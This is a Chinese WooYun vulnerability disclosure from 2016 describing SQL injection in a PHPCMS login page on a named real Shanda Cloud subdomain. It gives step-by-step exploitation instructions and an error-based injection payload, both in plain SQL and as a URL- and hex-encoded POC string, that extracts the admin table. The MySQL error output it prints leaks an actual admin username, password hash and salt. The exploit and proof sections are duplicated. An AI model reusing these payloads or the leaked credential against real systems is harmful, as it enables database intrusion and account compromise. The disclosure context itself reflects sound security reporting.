漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2016-0202884
漏洞标题：盛大云某二级域名分站存在SQL注射漏洞（数据云应用附POC）
相关厂商：盛大网络
漏洞作者： 奶嘴
提交时间：2016-04-28 09:09
修复时间：2016-06-12 10:00
公开时间：2016-06-12 10:00
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：15
漏洞状态：厂商已经确认
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2016-04-28： 细节已通知厂商并且等待厂商处理中
2016-04-28： 厂商已经确认，细节仅向厂商公开
2016-05-08： 细节向核心白帽子及相关领域专家公开
2016-05-18： 细节向普通白帽子公开
2016-05-28： 细节向实习白帽子公开
2016-06-12： 细节向公众公开
简要描述：
RTRT
第二发直接getshell
期待
详细说明：
http://video.grandcloud.cn/index.php?m=member&c=index&a=login
看了下是PHPCMS的
传上POC
随便填用户名和密码（先别点击登录）
第二步：设置浏览器的代理模式
点击登录，获取登录包
第三步，我们用以下代码替换password
***********************************************************8
返回如下错误，我们可以看到他说v9_admin表不存在，我们发现他表的前缀不对，我们需要改为sl_admin才对（如果是默认前缀v9的话，这一步就直接报用户名和密码和salt了）
第五步（如前缀非默认v9,按照如下步骤做）
用以下代码：
***********************************8
INSERT INTO `new_video`.`v9_member`(`phpssouid`,`username`,`password`,`encrypt`,`email`,`regip`,`regdate`,`lastip`,`lastdate`,`groupid`,`modelid`) VALUES ('2999999','test','5f1d7a84db00d2fce00b31a7fc73224f','123456','','',(select (1) from mysql.user where 1=1 aNd (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((Select (select concat(username,0x3a,password,0x3a,encrypt) from v9_admin limit 0,1)),1,62)))a from information_schema.tables group by a)b)),'','111','222','3333')#','2','10') <br /><b> MySQL Error : </b>Duplicate entry '1andy:b6e738ac867e9453a358e9adb192ec75:dUjFCz' for key 'group_key' <br /> <b>MySQL Errno : </b>1062 <br /><b> Message : </b> Duplicate entry '1andy:b6e738ac867e9453a358e9adb192ec75:dUjFCz' for key 'group_key'
http://video.grandcloud.cn/index.php?m=member&c=index&a=login
poc
123456%26username%3d%2527%2bunion%2bselect%2b%25272999999%2527%252c%2527test%2527%252c%25275f1d7a84db00d2fce00b31a7fc73224f%2527%252c%2527123456%2527%252cnull%252c0x272C2873656C656374202831292066726F6D206D7973716C2E7573657220776865726520313D3120614E64202853454C45435420312046524F4D202873656C65637420636F756E74282A292C636F6E63617428666C6F6F722872616E642830292A32292C28737562737472696E67282853656C656374202873656C65637420636F6E63617428757365726E616D652C307833612C70617373776F72642C307833612C656E6372797074292066726F6D2076395F61646D696E206C696D697420302C3129292C312C3632292929612066726F6D20696E666F726D6174696F6E5F736368656D612E7461626C65732067726F75702062792061296229292C27%252c111%252c222%252c0x33333333272923%252c444%252c555%252c666%252cnull%2523
漏洞证明：
http://video.grandcloud.cn/index.php?m=member&c=index&a=login
看了下是PHPCMS的
传上POC
随便填用户名和密码（先别点击登录）
第二步：设置浏览器的代理模式
点击登录，获取登录包
第三步，我们用以下代码替换password
***********************************************************8
返回如下错误，我们可以看到他说v9_admin表不存在，我们发现他表的前缀不对，我们需要改为sl_admin才对（如果是默认前缀v9的话，这一步就直接报用户名和密码和salt了）
第五步（如前缀非默认v9,按照如下步骤做）
用以下代码：
***********************************8
INSERT INTO `new_video`.`v9_member`(`phpssouid`,`username`,`password`,`encrypt`,`email`,`regip`,`regdate`,`lastip`,`lastdate`,`groupid`,`modelid`) VALUES ('2999999','test','5f1d7a84db00d2fce00b31a7fc73224f','123456','','',(select (1) from mysql.user where 1=1 aNd (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((Select (select concat(username,0x3a,password,0x3a,encrypt) from v9_admin limit 0,1)),1,62)))a from information_schema.tables group by a)b)),'','111','222','3333')#','2','10') <br /><b> MySQL Error : </b>Duplicate entry '1andy:b6e738ac867e9453a358e9adb192ec75:dUjFCz' for key 'group_key' <br /> <b>MySQL Errno : </b>1062 <br /><b> Message : </b> Duplicate entry '1andy:b6e738ac867e9453a358e9adb192ec75:dUjFCz' for key 'group_key'
http://video.grandcloud.cn/index.php?m=member&c=index&a=login
修复方案：
过滤
第二发直接getshell
期待
版权声明：转载请注明来源 奶嘴@乌云
漏洞回应
厂商回应：
危害等级：中
漏洞Rank：10
确认时间：2016-04-28 09:57
厂商回复：
谢谢报告，这个域名其实不属于我们，会转告一下！
最新状态：
暂无